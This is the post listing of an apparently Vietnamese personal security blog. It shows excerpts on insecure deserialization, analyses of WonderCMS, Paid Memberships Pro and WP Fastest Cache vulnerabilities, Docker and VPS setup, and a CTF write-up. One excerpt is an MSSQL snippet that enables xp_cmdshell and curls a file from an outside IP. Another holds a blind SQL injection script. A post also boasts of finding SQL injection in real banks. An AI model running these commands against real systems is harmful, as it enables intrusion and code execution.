Bài đăng

Hình ảnh
Insecure Deserialization trong PHP Insecure Deserialization: Là một lỗ hổng bảo mật cho phép kẻ tấn công (attacker) có thể chỉnh sửa, thay đổi kết cấu của các đối tượng (object) bằng cách tác động vào các untrust data khi tiến hành khi thực hiện Deserialize của ứng dụng. - Serialize: Khi dữ liệu muốn được lưu trữ, hay muốn truyền tải qua mạng hay một ứng dụng khác, người ta sẽ serialize dữ liệu tức là chuyển đổi dữ liệu gốc (orginal data) thành một mảng byte (byte stream). Điều này giúp cho việc chuyển tiếp dữ liệu đảm bảo được tính toàn vẹn, tối ưu hệ thống, tăng đáng kể tốc độ tính toán,... - Deserialize: Là quá trình ngược của Serialize, dùng để biến đổi mảng byte (byte stream) lại thành giữ liệu gốc dựa vào byte stream đã được cung cấp. Ý tưởng của việc tấn công này là sẽ cung cấp byte steam fake, khi ứng dụng des -> nó bị tấn công -------------------------------------------------------------- Lười sửa và viết, nào rảnh sửa lại Ví dụ về 1 bài insecure deserialize bằng PHP ...
 Tất cả lab tôi làm về windows + liar + s1mple +zero + DC01 ... + lab htb

Tiền bạn là tiền của tôi, đoán xem??

Bài này chỉ để take note mình "vô tình" tìm được vài con SQL Injection nho nhỏ trong một vài banking to to và cũng ở một vài tổ chức cho sinh viên vay vốn cũng khá bình thường <(") . Mô tả cơ bản là họ chẳng thèm cho được đồng bounty nào. Buồn vkl

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...

Debug Nodejs via Docker

Hình ảnh
Bạn cần một tâm hồn đẹp trước khi làm cái này. Mình tốn kha khá thời gian đọc shjtposting và xem youtube đấy nên tóm lại cho nhanh Bước 1: Chuẩn bị source code, mình sẽ demo với cấu trúc dự án basic như này Bước 2: Tạo Dockerfile chứa nội dung sau file này sẽ chạy chương trình ở port 1337 và sẽ chạy chế độ debug ở port 9229 mình sẽ nói sau Bước 3: Trong package.json thêm đoạn này vô, chú ý port 9229 là để mở debug ở 9229. Thực ra nó cũng được mà chả cũng không. Vì mình làm theo nhiều clip quá nên h cứ bị lộn xào đấy :v Bước 4: Trong file launch.json thì sửa như này  Bước 5: Build docker  docker build -t konchan . docker run -d -p 1337:1337 -p 9229:9229 -V Bước 6: Vô web và dùng Inspect như thường

Deploy python web

 Ta dùng docker và forward port ra ngoài thôi, chứ kia mình không biết :< sudo apt install docker-compose docker-io

Cài đặt VPS ubuntu và chạy web php

Hình ảnh
Bài này mình sẽ hướng dẫn cho các bạn triển khai web chạy php, mysql, nginx - Cài đặt firewall     +  sudo apt install ufw - Kiểm tra firewall có bật không      + sudo ufw status - Cho phép ssh      + sudo ufw allow ssh     +  sudo ufw allow 22      + sudo ufw allow from <ip> - Update lại hệ thống và cài đặt nginx     +  sudo apt update     +  sudo apt install nginx - Kiểm tra lại nginx đã bật hay chưa.     + sudo ufw app list Như thế này thì các bạn đã có thể truy cập thông qua ip rồi nhé, nó sẽ ở thư mục /var/www/html/<chjt_loli> - Cài đặt mysql-server sudo apt install mysql-server - Cài đặt các gói cho php      + apt install php-fpm php-mysql - Sửa file /etc/nginx/sites-enabled/defautl để nhận đuôi php     +  sudo nano /etc/nginx/sites-enabled/default          -> index.php - Reload lại  ...

Tạo khóa ssh cho user

ssh-keygen -t rsa -f konchan copy konchan.pub vo thu muc authr... login bang private key

Thuat ngu

 Access Control List (ACL)  Access Control Entries (ACEs) - Discretionary Access Control List (DACL): check for level of access - System Access Control Lists (SACL) Access denied ACE Access allowed ACE System audit ACE Domain trust - Parent-child - Cross-link - External - Tree-root - Forest - Enhanced Security Admin Environment (ESAE) Network Interface Card (NIC) card mạng Carrier Sense Multiple Access with Collision Detection (CSMA/CD) Windows Management Instrumentation Command-line (WMIC) Web-Based Enterprise Management (WBEMc) New Technology Directory Services Directory Information Tree (NTDS.DIT) Microsoft’s Active Directory Domain Services (AD DS) User Account Control (UAC) Dynamic Link Library (DLL) BPA (Block Public Access) Fully Qualfied Domain Name (FQDN) Public key infrastructure ( PKI)

Thực thi RCE via MSSQL CLI

-- Switch to the 'sa' user context EXECUTE AS LOGIN='sa'; -- Enable advanced options EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE; -- Enable xp_cmdshell EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Use xp_cmdshell to download the file using curl EXECUTE xp_cmdshell "curl http://10.10.14.61:1234/a";

Kiểm tra các kết nối ẩn với máy tính

netstat -abf 5  Lệnh này sẽ liệt kê các kết nối với Internet. Nếu có link lạ, có thể đó là virus

Setup máy ảo

 Setup  Download vulnbox va import tren may attacker and client chuyen thanh only host adapter Nho set cable connect nmap -pn ip/24 de detect client ip

CVE-2024-27956

Hình ảnh

Phân tích CVE-2023-23488

Hình ảnh
 Phân tích CVE-2023-23488 Mỗt lỗ hổng SQL Injection không xác thực ảnh hưởng đến tất cả phiên bản <2.9.8 của plugin Paid Memberships Pro của Wordpress. Tham khảo Mình cài bản 2.9.6 Trong bài viết, lỗ hổng được đề cập nằm ở tham số code tại REST route.  Tại file rest-api.php ta thấy nó có gọi đến hàm pmpro_rest_api_permissions_get_order() Để truy cập vô thì ta sẽ truy cập đường dẫn sau  http://localhost/wordpress/wp-json/pmpro/v1/order Nhảy đến hàm  pmpro_rest_api_permissions_get_order() Thấy rằng nếu method là GET, route là /pmpro/v1/order và không có permission thì đoạn if sẽ được thực thi Chú ý vào vào biến $code, có thể điều khiển được giá trị đầu vào. Input chưa được sanitize được đưa thẳng vô class MemberOrder.  Nhảy đến class này để kiểm tra, thấy được đưa vô đối số $id Đoạn if kiểm tra nếu $id là số thì gọi đến hàm getMemberOrderByID, còn không thì gọi đến getMemberOrderByCode. Trong trường hợp này chúng ta sẽ truyền giá trị không phải là số, hãy ...

R

 R programing language and me Hello bài này mình sẽ note lại kiến thức của mình liên quan đến ngôn ngữ R do môn mình học có liên quan đến nó :v What's R?? - R là một ngôn  mạnh mẽ thường được dùng để tính toán và đồ họa thống kê.  How to use R in statistic math - Đầu tiên phải năm các syntax cơ bản R sẽ phân biệt chữ hoa với chữ thường nên User sẽ khác user +) c(): hàm này dùng để nhập input từ người dùng, mỗi data phân cách nhau bởi dấu phẩy.  +)  x =3: gán giá trị 3 cho x +) so sánh x==3, x<3 (x>3), x<=3 (x>=3) +) is.na(x): check x no n.a hay không  A&B: A và B A|B: A hoặc B !: không +) x-<rnorm(10): tạo 10 phân phối chuẩn tắc ngẫu nhiên N(0,1) +) Các phép tính ngẫu nhiên +,-,*,/,^ seq(): tạo 1 ngẫu nhiên seq(5,10,2): tạo từ 5 đến 10 cách nhau 2 đơn vị. Tăng dần seq(length=10,from=2,to=9): chạy từ 2 đến chia, chia thành 10 khoảng ----------- Tạo 2 đối tượng  insulin <- c(16.5,10.8,32.3,19.3,14.2,11.3,15.5,15.8,16.2,11.2) age ...

Leetcode

 Try hard Java on hackerrank Day1: Wellcome 2 java public class Solution {     public static void main ( String [] args ){         System . out . println ( "Hello, World." );         System . out . println ( "Hello, Java." );     } } Day2: java stdin and stdout import java.util.Scanner ; public class Solution {     public static void main ( String [] args ){         Scanner input = new Scanner ( System . in );         int number1 = input . nextInt ();         int number2 = input . nextInt ();         int number3 = input . nextInt ();         System . out . println (number1);         System . out . println (number2);         System . out . println (number3);     } } Day3: java if else import java.util.Scanner ; public class Solution { ...
Hình ảnh
 WolvCTF and i did my best. Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later. Web1: Bean Cafe We need upload 2 difference images but same the md5 hash I found this drive which contain 2  image :d thx someone whose i dont know the name lmao https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0 Uploaded it Web2: Order Up 1  This is my script. Yeah that's all import requests import json import string a = string.printable s = "" url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query" for i in range ( 1 , 100 ):     for j in a:         data = {             "col1" : "item_name" ,             "order" : f " (case when (ascii(substr(current_query(), { i } ,1))= { ord (j) } ) then item_name else category end)" ...

CVE-2023-6063

Hình ảnh
 Phân tích WP Fastest Cache 1.2.0 - Unauthenticated SQL Injection Hello mọi người, dạo này ham hố kiếm CVE quá (tại tui nghèo mà) nên quyết định nghiên cứu CVE này để lấy lợi thế. Sẵn tiện em đang có mong muốn inter parttime mảng pentest, anh chị hr nào cần tuyển thì cứ comment hoặc ib qua facebook ạ T_T. Mình viết còn nhiều sai sót, mong được mọi người chỉ bảo để có thể cải thiện kĩ năng Yêu cầu:  +) Wordpress(bản nào cũng được) +) Fastest Cache version dưới 1.2.2, ở đây thì mình lựa chọn cài bản 1.2.0 chưa vá lỗi. +) Mysql(đang chạy bản nào cũng được) Các bước chuẩn bị: Add plugin vừa tải vào đây và đợi cài Enable cache system Vậy chúng ta đã xong bước chuẩn bị. Tiến hành phân tích code và đặt breakpoint Dưới là đoạn code dính lỗi tại file cache.php Mọi người có thể đọc lại bài của mình để hiểu về regex , mình kém nó lắm nên đôi lúc phải đọc lại cho nhớ :))))  Từ dòng 478-480, ta thấy nó lấy $cookie_key và $cookie_value từ global variable cụ thể ở đây là $_COOKIE, lấy ...